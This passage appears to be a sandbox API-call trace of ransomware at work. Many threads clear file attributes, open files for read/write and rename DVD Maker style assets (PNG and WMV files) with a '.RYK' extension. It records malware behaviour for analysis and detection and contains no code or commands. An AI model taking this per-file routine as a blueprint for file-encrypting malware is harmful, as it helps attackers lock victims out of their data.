	[0185.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 975
	os_tid = 0x14f0

	[0185.004] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png", dwFileAttributes=0x80) returned 0
	[0185.336] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 976
	os_tid = 0x14f4

	[0185.338] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0185.338] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 977
	os_tid = 0x14f8

	[0185.341] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0185.523] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 978
	os_tid = 0x14fc

	[0185.342] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0185.523] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 979
	os_tid = 0x1500

	[0185.344] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png", dwFileAttributes=0x80) returned 0
	[0185.524] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 980
	os_tid = 0x1504

	[0185.345] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png", dwFileAttributes=0x80) returned 0
	[0185.346] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 981
	os_tid = 0x1508

	[0185.348] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png", dwFileAttributes=0x80) returned 0
	[0185.524] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 982
	os_tid = 0x150c

	[0185.350] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv", dwFileAttributes=0x80) returned 0
	[0185.351] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 983
	os_tid = 0x1510

	[0185.353] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0185.353] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 984
	os_tid = 0x1514

	[0185.355] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0185.355] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 985
	os_tid = 0x1518

	[0185.357] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0185.525] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 986
	os_tid = 0x151c

	[0185.527] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0185.527] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 987
	os_tid = 0x1520

	[0185.529] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0185.529] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 988
	os_tid = 0x1524

	[0185.532] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0185.532] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.532] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 989
	os_tid = 0x1528

	[0185.534] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0185.653] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 990
	os_tid = 0x152c

	[0185.535] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0185.653] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 991
	os_tid = 0x1530

	[0185.536] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0185.654] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 992
	os_tid = 0x1534

	[0185.538] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png", dwFileAttributes=0x80) returned 0
	[0185.539] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0185.539] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0185.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 994
	os_tid = 0x1540

	[0186.420] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0186.420] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.421] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 995
	os_tid = 0x1544

	[0186.423] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", dwFileAttributes=0x80) returned 0
	[0186.423] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 996
	os_tid = 0x1548

	[0186.425] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0186.425] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 997
	os_tid = 0x154c

	[0186.427] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", dwFileAttributes=0x80) returned 0
	[0186.687] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.853] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 998
	os_tid = 0x1550

	[0186.428] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png", dwFileAttributes=0x80) returned 0
	[0186.688] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 999
	os_tid = 0x1554

	[0186.690] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
